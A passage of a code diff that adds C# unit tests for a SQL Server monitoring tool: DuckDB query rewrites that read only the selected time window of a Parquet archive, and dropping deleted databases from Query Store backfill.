+    public async Task TopQueriesByCpu_NewStatementReturnsEveryColumnOfEveryRowTheOldOneDid()
+    {
+        await SeedParityStoreAsync();
+        var (start, end) = ParityWindow();
+
+        var oldRows = await RunRawAsync(LegacyTopQueriesByCpuSql(string.Empty, 100), ServerId, start, end, 50, 0, 0);
+        var newRows = await RunRawAsync(LocalDataService.TopQueriesByCpuSql(string.Empty, 100), ServerId, start, end, 50, 0, 0);
+
+        AssertSameRows(oldRows, newRows, "top queries by CPU");
+    }
+
+    [Fact]
+    public async Task TopQueriesByCpu_PicksTheSameTextsThroughTheRealReader()
+    {
+        await SeedParityStoreAsync();
+
+        var rows = await new LocalDataService(_duckDb).GetTopQueriesByCpuAsync(ServerId, hoursBack: 24 * 7, top: 50);
+        string? TextOf(string hash, string? host = null) => rows.Single(r => r.QueryHash == hash && r.HostObjectName == host).QueryText;
+
+        Assert.Equal("g1 newest text (hot)", TextOf("0xG1"));
+        Assert.Equal("g2 text of ProcA, newest", TextOf("0xG2", "dbo.ProcA"));
+        Assert.Equal("g2 text of ProcB, newest", TextOf("0xG2", "dbo.ProcB"));
+        Assert.Equal("g3 text, the newest that has one", TextOf("0xG3"));
+        Assert.Equal(string.Empty, TextOf("0xG4"));
+        Assert.Equal("g5 tie text B (higher collection id)", TextOf("0xG5"));
+        Assert.DoesNotContain(rows, r => r.QueryHash == "0xG6");
+        Assert.Equal("g7 newest text", TextOf("0xG7"));
+        Assert.Equal("<plan>g7 newest</plan>", rows.Single(r => r.QueryHash == "0xG7").QueryPlan);
+        /* G1: the newest row has the text and no plan; the older row's plan is not borrowed. */
+        Assert.Equal("g9 text", TextOf("0xG9"));
+        Assert.True(string.IsNullOrEmpty(rows.Single(r => r.QueryHash == "0xG9").QueryPlan), "the plan must come from the same row as the text");
+    }
+
+    /// <summary>
+    /// The one difference from the old statement, on purpose: the text now comes from the read's own window. A window that ends
+    /// before the newest capture shows the window's newest statement; the old lateral showed the newest one ever captured.
+    /// </summary>
+    [Fact]
+    public async Task TopQueriesByCpu_TakesTheTextFromTheWindowNotFromAfterIt()
+    {
+        var inWindow = new DateTime(2026, 9, 10, 12, 0, 0, DateTimeKind.Unspecified);
+        var after = inWindow.AddDays(2);
+        await InsertQueryStatsAsync(inWindow, "Db1", "0xWIN", null, "0xHW", "text inside the window", 1_000);
+        await InsertQueryStatsAsync(after, "Db1", "0xWIN", null, "0xHW", "text captured after the window", 1_000);
+
+        var from = inWindow.AddHours(-1);
+        var to = inWindow.AddHours(1);
+        var rows = await new LocalDataService(_duckDb).GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: 5, fromDate: from, toDate: to);
+        Assert.Equal("text inside the window", Assert.Single(rows).QueryText);
+
+        var oldRows = await RunRawAsync(LegacyTopQueriesByCpuSql(string.Empty, 100), ServerId, from, to, 5, 0, 0);
+        Assert.Equal("text captured after the window", oldRows.Rows.Single(r => r[0] is not null)[42]);
+    }
+
+    /// <summary>
+    /// #5381 G2: the same difference, the other way round. A group whose rows INSIDE the window all have no text shows blank text
+    /// and plan, even when a row before the window has one; the old lateral reached back through the whole archive for it. Exact
+    /// parity there is a per-key read of all history, which is the cost this read removes.
+    /// </summary>
+    [Fact]
+    public async Task TopQueriesByCpu_AGroupWithNoTextInsideTheWindowShowsBlank()
+    {
+        var inWindow = new DateTime(2026, 9, 10, 12, 0, 0, DateTimeKind.Unspecified);
+        var before = inWindow.AddDays(-3);
+        await InsertQueryStatsAsync(before, "Db1", "0xBLK", null, "0xHB", "text three days before the window", 1_000, plan: "<plan>before</plan>");
+        await InsertQueryStatsAsync(inWindow, "Db1", "0xBLK", null, "0xHB", null, 1_000);
+
+        var from = inWindow.AddHours(-1);
+        var to = inWindow.AddHours(1);
+        var row = Assert.Single(await new LocalDataService(_duckDb).GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: 5, fromDate: from, toDate: to));
+        Assert.True(string.IsNullOrEmpty(row.QueryText), "no text inside the window: blank");
+        Assert.True(string.IsNullOrEmpty(row.QueryPlan), "no plan inside the window: blank");
+
+        var oldRows = await RunRawAsync(LegacyTopQueriesByCpuSql(string.Empty, 100), ServerId, from, to, 5, 0, 0);
+        Assert.Equal("text three days before the window", oldRows.Rows.Single(r => r[0] is not null)[42]);
+    }
+
+    [Fact]
+    public async Task TopQueriesByCpu_OldStatementRunsOutOfMemoryOnAWideArchive_NewOneDoesNot()
+    {
+        await SeedWideArchiveAsync();
+        await SetLowMemoryAsync();
+        var from = LastArchiveDayStart;
+        var to = LastArchiveDayStart.AddDays(1);
+
+        var oldFailure = await TryRunAsync(() => RunRawAsync(LegacyTopQueriesByCpuSql(string.Empty, 100), ServerId, from, to, 50, 0, 0));
+        Assert.NotNull(oldFailure);
+        Assert.Contains("Out of Memory", oldFailure!.Message, StringComparison.OrdinalIgnoreCase);
+
+        var rows = await new LocalDataService(_duckDb).GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: 50, fromDate: from, toDate: to);
+        Assert.Equal(50, rows.Count);
+        Assert.All(rows, r => Assert.True(r.QueryText.Length >= TextChars, "each row carries its full-width text"));
+    }
+
+    [Fact]
+    public async Task TopQueriesByCpu_TextScanCarriesTheWindowFilter()
+    {
+        await SeedWideArchiveAsync();
+        var from = LastArchiveDayStart;
+        var to = LastArchiveDayStart.AddDays(1);
+
+        AssertEveryParquetScanIsWindowed(await ParquetScanFiltersAsync(LocalDataService.TopQueriesByCpuSql(string.Empty, 100), ServerId, from, to, 50, 0, 0));
+
+        /* The control: the statement it replaced has a scan of the whole archive, so this pin can fail. */
+        var oldScans = await ParquetScanFiltersAsync(LegacyTopQueriesByCpuSql(string.Empty, 100), ServerId, from, to, 50, 0, 0);
+        Assert.Contains(oldScans, scan => !scan.Contains("collection_time>=", StringComparison.Ordinal));
+    }
+
+    /* ---- procedure comparison ---- */
+
+    private (DateTime CurStart, DateTime CurEnd, DateTime BaseStart, DateTime BaseEnd) WideComparisonWindows() =>
+        (LastArchiveDayStart, LastArchiveDayStart.AddDays(1), LastArchiveDayStart.AddDays(-1), LastArchiveDayStart);
+
+    [Fact]
+    public async Task ProcedureComparison_NewStatementReturnsEveryColumnOfEveryRowTheOldOneDid()
+    {
+        await SeedParityStoreAsync();
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        /* One procedure per tie-free handle of the parity store, ran in both ranges; 0xHNONE has no statement anywhere (blank on both).
+           The old statement ordered by collection_time alone, so a handle with two rows at one time (0xH2, 0xH5) was an arbitrary
+           pick there; the tie has its own test below. */
+        foreach (var (name, handle) in new[] { ("ProcG1", "0xH1"), ("ProcG3", "0xH3"), ("ProcG7", "0xH7"), ("ProcNone", "0xHNONE") })
+        {
+            await InsertProcedureStatsAsync(now.AddHours(-3), "Db1", "dbo", name, handle, 50, 5_000);
+            await InsertProcedureStatsAsync(now.AddHours(-27), "Db1", "dbo", name, handle, 40, 4_000);
+        }
+
+        /* A window that holds every statement: the old and the new statement agree on every column of every row. */
+        var wide = new object[] { ServerId, now.AddHours(-24), now, now.AddDays(-5), now.AddHours(-24) };
+        var oldWide = await RunRawAsync(LegacyProcedureStatsComparisonSql(string.Empty), wide);
+        var newWide = await RunRawAsync(LocalDataService.ProcedureStatsComparisonSql(string.Empty), wide);
+        AssertSameRows(Sorted(oldWide), Sorted(newWide), "procedure comparison");
+        var texts = newWide.Rows.ToDictionary(r => r[2]!.ToString()!, r => r[11]?.ToString());
+        Assert.Equal("g1 newest text (hot)", texts["ProcG1"]);
+        Assert.Equal("g3 text, the newest that has one", texts["ProcG3"]);
+        Assert.Equal("g7 newest text", texts["ProcG7"]);
+        Assert.Null(texts["ProcNone"]);
+
+        /* Windows that span 48 hours: the older files' statements sit outside them, so a handle's text is the newest one INSIDE
+           (the one difference from the old statement, on purpose), and 0xH3's only statement is outside so it reads blank. */
+        var narrow = new object[] { ServerId, now.AddHours(-24), now, now.AddHours(-48), now.AddHours(-24) };
+        var narrowRows = await RunRawAsync(LocalDataService.ProcedureStatsComparisonSql(string.Empty), narrow);
+        var narrowTexts = narrowRows.Rows.ToDictionary(r => r[2]!.ToString()!, r => r[11]?.ToString());
+        Assert.Equal("g1 newest text (hot)", narrowTexts["ProcG1"]);
+        Assert.Equal("g7 newest text", narrowTexts["ProcG7"]);
+        Assert.Null(narrowTexts["ProcNone"]);
+    }
+
+    [Fact]
+    public async Task ProcedureComparison_ATieOnTheTimeTakesTheStatementCollectedLast()
+    {
+        await SeedParityStoreAsync();
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        await InsertProcedureStatsAsync(now.AddHours(-3), "Db3", "dbo", "ProcTie", "0xH5", 50, 5_000);
+
+        var rows = await new LocalDataService(_duckDb).GetProcedureStatsComparisonAsync(ServerId, now.AddHours(-24), now, now.AddHours(-48), now.AddHours(-24));
+        Assert.Equal("g5 tie text B (higher collection id)", Assert.Single(rows).QueryText);
+    }
+
+    private static (string[] Names, List<object?[]> Rows) Sorted((string[] Names, List<object?[]> Rows) set) =>
+        (set.Names, [.. set.Rows.OrderBy(r => r[0]?.ToString(), StringComparer.Ordinal).ThenBy(r => r[1]?.ToString(), StringComparer.Ordinal).ThenBy(r => r[2]?.ToString(), StringComparer.Ordinal)]);
+
+    [Fact]
+    public async Task ProcedureComparison_OldStatementRunsOutOfMemoryOnAWideArchive_NewOneDoesNot()
+    {
+        await SeedWideArchiveAsync();
+        await SeedWideProceduresAsync();
+        await SetLowMemoryAsync();
+        var (curStart, curEnd, baseStart, baseEnd) = WideComparisonWindows();
+
+        var oldFailure = await TryRunAsync(() => RunRawAsync(LegacyProcedureStatsComparisonSql(string.Empty), ServerId, curStart, curEnd, baseStart, baseEnd));
+        Assert.NotNull(oldFailure);
+        Assert.Contains("Out of Memory", oldFailure!.Message, StringComparison.OrdinalIgnoreCase);
+
+        var rows = await new LocalDataService(_duckDb).GetProcedureStatsComparisonAsync(ServerId, curStart, curEnd, baseStart, baseEnd);
+        Assert.Equal(30, rows.Count);
+        Assert.All(rows, r => Assert.True(r.QueryText.Length >= TextChars, "each procedure carries its statement's full-width text"));
+    }
+
+    [Fact]
+    public async Task ProcedureComparison_TextScanCarriesTheWindowFilter()
+    {
+        await SeedWideArchiveAsync();
+        await SeedWideProceduresAsync();
+        var (curStart, curEnd, baseStart, baseEnd) = WideComparisonWindows();
+
+        AssertEveryParquetScanIsWindowed(await ParquetScanFiltersAsync(LocalDataService.ProcedureStatsComparisonSql(string.Empty), ServerId, curStart, curEnd, baseStart, baseEnd));
+
+        /* The control: the statement it replaced has a scan of the whole archive, so this pin can fail. */
+        var oldScans = await ParquetScanFiltersAsync(LegacyProcedureStatsComparisonSql(string.Empty), ServerId, curStart, curEnd, baseStart, baseEnd);
+        Assert.Contains(oldScans, scan => !scan.Contains("collection_time>=", StringComparison.Ordinal));
+    }
+
+    /* A far baseline (#5381): the text lookup reads the two compared ranges, not the span from the earlier range's start to
+       the later one's end. The statement used LEAST($2,$4) .. GREATEST($3,$5), so a baseline weeks before the current range read
+       every file in the gap, which is the cost the ranking change removed. Procedures here ran in the last day and in day 1 of
+       the archive (the gap is days 2 to 10, nine files). */
+    private async Task SeedFarBaselineProceduresAsync()
+    {
+        for (var k = 0; k < 30; k++)
+        {
+            var handle = (await RunRawAsync($"SELECT '0x' || md5('h' || {k}::VARCHAR)")).Rows[0][0]!.ToString()!;
+            await InsertProcedureStatsAsync(LastArchiveDayStart.AddHours(12), "db_0", "dbo", $"Proc{k:D2}", handle, 100 + k, 10_000 + k);
+            await InsertProcedureStatsAsync(FirstArchiveDay.AddDays(1).AddHours(12), "db_0", "dbo", $"Proc{k:D2}", handle, 90 + k, 9_000 + k);
+        }
+    }
+
+    private (DateTime CurStart, DateTime CurEnd, DateTime BaseStart, DateTime BaseEnd) FarBaselineWindows() =>
+        (LastArchiveDayStart, LastArchiveDayStart.AddDays(1), FirstArchiveDay.AddDays(1), FirstArchiveDay.AddDays(2));
+
+    /* The span window of the first #5381 revision, rebuilt from the current statement, as the control for the two pins below. */
+    private static string SpanWindowProcedureStatsComparisonSql() =>
+        LocalDataService.ProcedureStatsComparisonSql(string.Empty)
+            .Replace("((qs.collection_time >= $2 AND qs.collection_time <= $3)", "(qs.collection_time >= LEAST($2, $4) AND qs.collection_time <= GREATEST($3, $5)", StringComparison.Ordinal)
+            .Replace("OR (qs.collection_time >= $4 AND qs.collection_time <= $5))", ")", StringComparison.Ordinal);
+
+    [Fact]
+    public async Task ProcedureComparison_AFarBaselineOnAWideArchiveReadsAtTheLowLimit()
+    {
+        await SeedWideArchiveAsync();
+        await SeedFarBaselineProceduresAsync();
+        await SetLowMemoryAsync();
+        var (curStart, curEnd, baseStart, baseEnd) = FarBaselineWindows();
+
+        /* The control: the span window reads the nine gap files' text and cannot fit. */
+        var spanSql = SpanWindowProcedureStatsComparisonSql();
+        Assert.Contains("LEAST", spanSql, StringComparison.Ordinal);
+        var spanFailure = await TryRunAsync(() => RunRawAsync(spanSql, ServerId, curStart, curEnd, baseStart, baseEnd));
+        Assert.NotNull(spanFailure);
+        Assert.Contains("Out of Memory", spanFailure!.Message, StringComparison.OrdinalIgnoreCase);
+
+        var rows = await new LocalDataService(_duckDb).GetProcedureStatsComparisonAsync(ServerId, curStart, curEnd, baseStart, baseEnd);
+        Assert.Equal(30, rows.Count);
+        Assert.All(rows, r => Assert.True(r.QueryText.Length >= TextChars, "each procedure carries its statement's full-width text"));
+    }
+
+    [Fact]
+    public async Task ProcedureComparison_TextScanFilterIsTheTwoRangesNotTheSpanBetweenThem()
+    {
+        await SeedWideArchiveAsync();
+        await SeedFarBaselineProceduresAsync();
+        var (curStart, curEnd, baseStart, baseEnd) = FarBaselineWindows();
+        var gapEdges = new[] { baseEnd, curStart }.Select(t => t.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture)).ToArray();
+
+        /* The query_stats scan is the one that reads the archive text. Its pushed-down filter must still name the baseline's END and
+           the current range's START: DuckDB keeps the OR of the two ranges (a row group that sits in the gap fails both arms and
+           is skipped), where a LEAST/GREATEST span folds to one bound pair and names neither. */
+        var scans = await ParquetScanFiltersAsync(LocalDataService.ProcedureStatsComparisonSql(string.Empty), ServerId, curStart, curEnd, baseStart, baseEnd);
+        Assert.Contains(scans, scan => scan.Contains(gapEdges[0], StringComparison.Ordinal) && scan.Contains(gapEdges[1], StringComparison.Ordinal));
+
+        var spanScans = await ParquetScanFiltersAsync(SpanWindowProcedureStatsComparisonSql(), ServerId, curStart, curEnd, baseStart, baseEnd);
+        Assert.DoesNotContain(spanScans, scan => scan.Contains(gapEdges[0], StringComparison.Ordinal) && scan.Contains(gapEdges[1], StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ProcedureComparison_ATextOnlyInTheGapBetweenTheRangesReadsBlank()
+    {
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        await InsertQueryStatsAsync(now.AddDays(-5), "Db1", "0xGAPQ", null, "0xGAPH", "text captured in the gap", 1_000);
+        await InsertQueryStatsAsync(now.AddDays(-10).AddHours(1), "Db1", "0xBASEQ", null, "0xBASEH", "text captured in the baseline range", 1_000);
+        await InsertProcedureStatsAsync(now.AddHours(-3), "Db1", "dbo", "ProcGap", "0xGAPH", 50, 5_000);
+        await InsertProcedureStatsAsync(now.AddDays(-10).AddHours(2), "Db1", "dbo", "ProcGap", "0xGAPH", 40, 4_000);
+        await InsertProcedureStatsAsync(now.AddHours(-3), "Db1", "dbo", "ProcBase", "0xBASEH", 50, 5_000);
+        await InsertProcedureStatsAsync(now.AddDays(-10).AddHours(2), "Db1", "dbo", "ProcBase", "0xBASEH", 40, 4_000);
+
+        var rows = await new LocalDataService(_duckDb).GetProcedureStatsComparisonAsync(
+            ServerId, now.AddHours(-24), now, now.AddDays(-10), now.AddDays(-9));
+
+        Assert.Equal(string.Empty, rows.Single(r => r.ObjectName == "ProcGap").QueryText);
+        Assert.Equal("text captured in the baseline range", rows.Single(r => r.ObjectName == "ProcBase").QueryText);
+    }
+
+    /* ---- the other two wide-text reads: bounded by their window, not by the archive ----
+       The query stats comparison takes MAX(query_text) over the rows of its two windows and the heatmap projects a 120-character
+       preview per row of its window. Neither carries text through an operator over the whole archive, so neither grew with it:
+       what they cost is the text of the window's own files, which no SQL shape avoids (DuckDB decodes a row group's text column
+       whole, whatever the filter on top of it keeps). These pins hold that: a window of one or two files reads at the low limit
+       on a twelve-file archive. A window that spans the archive does not fit any limit, and is not pinned. */
+
+    [Fact]
+    public async Task QueryStatsComparison_ReadsAWindowOfTheWideArchiveAtTheLowLimit()
+    {
+        await SeedWideArchiveAsync();
+        await SetLowMemoryAsync();
+        var (curStart, curEnd, baseStart, baseEnd) = WideComparisonWindows();
+
+        var rows = await new LocalDataService(_duckDb).GetQueryStatsComparisonAsync(ServerId, curStart, curEnd, baseStart, baseEnd);
+
+        Assert.NotEmpty(rows);
+        Assert.All(rows, r => Assert.True(r.QueryText.Length >= TextChars, "each row carries its full-width text"));
+    }
+
+    [Fact]
+    public async Task QueryHeatmap_ReadsAWindowOfTheWideArchiveAtTheLowLimit()
+    {
+        await SeedWideArchiveAsync();
+        await SetLowMemoryAsync();
+
+        var result = await new LocalDataService(_duckDb).GetQueryHeatmapAsync(
+            ServerId, HeatmapMetric.Cpu, hoursBack: 24, fromDate: LastArchiveDayStart, toDate: LastArchiveDayStart.AddDays(1));
+
+        Assert.NotEmpty(result.TimeBuckets);
+    }
+
+    /* Every read_parquet scan in an EXPLAIN (FORMAT JSON) plan lists its pushed-down filters in extra_info; each must hold a
+       collection_time bound, or the scan reads the whole archive. */
+    private async Task<List<string>> ParquetScanFiltersAsync(string sql, params object[] values)
+    {
+        var json = (await RunRawAsync("EXPLAIN (FORMAT JSON) " + sql, values)).Rows[0][1]!.ToString()!;
+        var scans = new List<string>();
+        void Walk(System.Text.Json.JsonElement node)
+        {
+            if (node.ValueKind == System.Text.Json.JsonValueKind.Array)
+            {
+                foreach (var child in node.EnumerateArray())
+                {
+                    Walk(child);
+                }
+            }
+            else if (node.ValueKind == System.Text.Json.JsonValueKind.Object)
+            {
+                if (node.TryGetProperty("name", out var name) && name.GetString()!.Contains("PARQUET", StringComparison.OrdinalIgnoreCase))
+                {
+                    var filters = node.TryGetProperty("extra_info", out var info) && info.TryGetProperty("Filters", out var f)
+                        ? string.Join(" | ", f.ValueKind == System.Text.Json.JsonValueKind.Array ? f.EnumerateArray().Select(x => x.GetString()) : [f.ToString()])
+                        : string.Empty;
+                    scans.Add(filters);
+                }
+
+                if (node.TryGetProperty("children", out var children))
+                {
+                    Walk(children);
+                }
+            }
+        }
+
+        using var doc = System.Text.Json.JsonDocument.Parse(json);
+        Walk(doc.RootElement);
+        return scans;
+    }
+
+    private static void AssertEveryParquetScanIsWindowed(List<string> scans)
+    {
+        Assert.NotEmpty(scans);
+        foreach (var scan in scans)
+        {
+            /* A plain range prints as "collection_time>=..." and an OR of two ranges as an expression with spaces; compare without them. */
+            var squeezed = scan.Replace(" ", string.Empty, StringComparison.Ordinal);
+            Assert.True(
+                squeezed.Contains("collection_time>=", StringComparison.Ordinal) && squeezed.Contains("collection_time<=", StringComparison.Ordinal),
+                "a read_parquet scan whose pushed-down filters lack the collection_time window: '" + scan + "'");
+        }
+    }
+}
diff --git a/Lite.Tests/QueryStoreBackfillDroppedDatabaseTests.cs b/Lite.Tests/QueryStoreBackfillDroppedDatabaseTests.cs
new file mode 100644
index 0000000000..177ac21ab0
--- /dev/null
+++ b/Lite.Tests/QueryStoreBackfillDroppedDatabaseTests.cs
@@ -0,0 +1,544 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5483, the Lite twin of Darling's dropped-database pins. A database dropped from the monitored server must
+/// stop being a backfill candidate.
+///
+/// <para>The cause is not the <c>collector_state</c> keys: a failed slice writes no state, and the hourly orphan
+/// prune retires a dropped database's <c>done:</c> and <c>hole:</c> keys (pinned below). The candidate list is read
+/// from the COLLECTED ROWS in <c>query_store_stats</c> (plus any database a hole names), so a database that
+/// shipped rows inside the horizon stayed a candidate until those rows aged out, and every tick tried it and
+/// failed with "database does not exist". The fix reads the newest <c>database_states</c> snapshot: a candidate
+/// absent from it, with no stored row at or after the snapshot, is gone.</para>
+///
+/// <para>The slice body is replaced through <see cref="RemoteCollectorService.SliceOverrideForTests"/> and throws
+/// what the server throws for a missing database, so no SQL Server is needed; the tick loop, the DuckDB
+/// candidate and stored-floor reads and the real orphan prune are the production ones.</para>
+/// </summary>
+public sealed class QueryStoreBackfillDroppedDatabaseTests : IClassFixture<SharedDuckDbFixture>
+{
+    private const string Kept = "aaa_kept_db";
+    private const string Dropped = "bbb_dropped_db";
+    private const string Created = "ccc_created_after_snapshot_db";
+    private const string ServerLabel = "backfill-dropped-test";
+    private const string MissingMessage = "Cannot open database requested by the login. The login failed. (database does not exist)";
+
+    private readonly DuckDbInitializer _duckDb;
+
+    public QueryStoreBackfillDroppedDatabaseTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    [Fact]
+    public async Task ADroppedDatabase_StopsBeingTried_OnceTheNewestSnapshotLeavesItOut_AndItsStateIsPruned()
+    {
+        using var run = new Run(_duckDb);
+
+        /* Two databases with a young stored history, so each has a pending tail slice. The dropped one also carries
+           a hole key, written 20 minutes ago. */
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(1));
+        await run.SeedHoleAsync(Dropped, TimeSpan.FromMinutes(20));
+
+        /* The first snapshot names both: the drop has not happened yet, so the dropped database is still worked. */
+        await run.SeedSnapshotAsync(TimeSpan.FromMinutes(30), Kept, Dropped);
+        await run.TicksAsync(4);
+        Assert.Contains(Dropped, run.Attempts);
+
+        /* The drop: the newest snapshot (5 minutes ago, slower than the 5-minute backfill tick) no longer names it. */
+        await run.SeedSnapshotAsync(TimeSpan.FromMinutes(5), Kept);
+        run.Attempts.Clear();
+
+        await run.Harness.PruneAsync(run.ServerId);
+        Assert.Null(await run.HoleAsync(Dropped));
+
+        await run.TicksAsync(6);
+
+        Assert.DoesNotContain(Dropped, run.Attempts);
+        Assert.Null(await run.HoleAsync(Dropped));
+    }
+
+    [Fact]
+    public async Task ADroppedDatabaseWhoseHistoryReachesTheHorizon_IsNotMarkedDoneAgain_AfterThePruneRetiredItsMarker()
+    {
+        using var run = new Run(_duckDb);
+
+        /* A row inside the horizon makes the dropped database a candidate; a row past it makes the tick mark it done
+           without a slice. Before the fix the hourly prune deleted that marker and the next tick wrote it back, so
+           the database was never retired. */
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Dropped, run.Horizon + TimeSpan.FromDays(1));
+        await run.SeedSnapshotAsync(TimeSpan.FromMinutes(30), Kept, Dropped);
+        await run.TicksAsync(4);
+        Assert.NotNull(await run.StateAsync(QueryStoreBackfillState.DoneKeyPrefix, Dropped));
+
+        /* A snapshot a second ahead of the marker's own write, so the prune judges it (a marker is stamped "now"). */
+        await run.SeedSnapshotAsync(TimeSpan.FromSeconds(-1), Kept);
+        await run.Harness.PruneAsync(run.ServerId);
+        Assert.Null(await run.StateAsync(QueryStoreBackfillState.DoneKeyPrefix, Dropped));
+
+        await run.TicksAsync(4);
+
+        Assert.Null(await run.StateAsync(QueryStoreBackfillState.DoneKeyPrefix, Dropped));
+    }
+
+    [Fact]
+    public async Task ADatabaseWithRowsNewerThanTheSnapshot_IsStillTried()
+    {
+        using var run = new Run(_duckDb);
+
+        /* Created after the newest snapshot: absent from it, but its rows are newer than it. Dropping it would be
+           the very mistake the prune's own freshness guard exists to avoid. */
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Created, TimeSpan.FromMinutes(2));
+        await run.SeedSnapshotAsync(TimeSpan.FromMinutes(10), Kept);
+
+        await run.TicksAsync(4);
+
+        Assert.Contains(Created, run.Attempts);
+    }
+
+    [Fact]
+    public async Task WithNoSnapshotAtAll_NothingIsDropped()
+    {
+        using var run = new Run(_duckDb);
+
+        /* No database_states row for this server (Azure SQL DB never collects one; so does a server that has not
+           collected yet): the list is not known, so every candidate stays. */
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(1));
+
+        await run.TicksAsync(4);
+
+        Assert.Contains(Kept, run.Attempts);
+        Assert.Contains(Dropped, run.Attempts);
+    }
+
+    [Fact]
+    public void SnapshotStalenessBound_IsThreeIntervals_NeverUnderOneHour_AndAnExactBoundIsFresh()
+    {
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(1));
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(0));
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(-5));
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(20));
+        Assert.Equal(TimeSpan.FromMinutes(90), QueryStoreBackfillState.SnapshotStalenessBound(30));
+        Assert.Equal(TimeSpan.FromHours(6), QueryStoreBackfillState.SnapshotStalenessBound(120));
+
+        var now = new DateTime(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+        Assert.False(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromHours(1), now, 1));
+        Assert.True(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromHours(1) - TimeSpan.FromTicks(1), now, 1));
+        Assert.False(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromMinutes(89), now, 30));
+        Assert.True(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromMinutes(91), now, 30));
+    }
+
+    [Fact]
+    public async Task AStaleSnapshot_DropsNothing_AndRunsNoProbe()
+    {
+        var log = new CaptureLog();
+        using var run = new Run(_duckDb, log);
+
+        /* The newest snapshot is three hours old, past the one-hour floor, and does not name the dropped database.
+           It could equally predate the drop, so it must not be believed: both databases stay candidates. The
+           Information line is written only after the per-database probe has found nothing newer, so its absence
+           shows no probe ran. */
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(5));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(5));
+        await run.SeedSnapshotAsync(TimeSpan.FromHours(3), Kept);
+
+        await run.TicksAsync(4);
+
+        Assert.Contains(Kept, run.Attempts);
+        Assert.Contains(Dropped, run.Attempts);
+        Assert.DoesNotContain(log.Lines, line => line.Contains("not in the newest database_states snapshot", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ASnapshotInsideThreeIntervals_StillDrops_WhenTheServersIntervalIsLong()
+    {
+        using var run = new Run(_duckDb);
+
+        /* Three hours old would be stale at the one-hour floor, but a server that collects database_states every
+           two hours has a six-hour bound, so the snapshot still decides. */
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(5));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(5));
+        await run.SeedSnapshotAsync(TimeSpan.FromHours(3), Kept);
+
+        Assert.Equal([Kept], await run.DropGoneAsync([Kept, Dropped], databaseStatesIntervalMinutes: 120));
+        Assert.Equal([Kept, Dropped], await run.DropGoneAsync([Kept, Dropped], databaseStatesIntervalMinutes: 1));
+    }
+
+    [Fact]
+    public async Task ASnapshotWhoseNamesAreAllNull_DropsNothing()
+    {
+        using var run = new Run(_duckDb);
+
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(1));
+        await run.SeedNullNamedSnapshotAsync(TimeSpan.FromMinutes(5));
+
+        await run.TicksAsync(4);
+
+        Assert.Contains(Kept, run.Attempts);
+        Assert.Contains(Dropped, run.Attempts);
+    }
+
+    [Fact]
+    public async Task ARowExactlyAtTheSnapshotTime_KeepsTheDatabase()
+    {
+        using var run = new Run(_duckDb);
+
+        /* The freshness test is >=: a row stamped the same instant as the snapshot proves the database was alive
+           when the snapshot was read, which the snapshot (it does not name it) cannot contradict. */
+        var snapshotTime = DateTime.UtcNow - TimeSpan.FromMinutes(10);
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAtAsync(Created, snapshotTime);
+        await run.SeedSnapshotAtAsync(snapshotTime, Kept);
+
+        Assert.Equal([Kept, Created], await run.DropGoneAsync([Kept, Created]));
+    }
+
+    [Fact]
+    public async Task ARowJustBeforeTheSnapshotTime_DoesNotKeepTheDatabase()
+    {
+        using var run = new Run(_duckDb);
+
+        var snapshotTime = DateTime.UtcNow - TimeSpan.FromMinutes(10);
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAtAsync(Dropped, snapshotTime.AddTicks(-10));
+        await run.SeedSnapshotAtAsync(snapshotTime, Kept);
+
+        Assert.Equal([Kept], await run.DropGoneAsync([Kept, Dropped]));
+    }
+
+    [Fact]
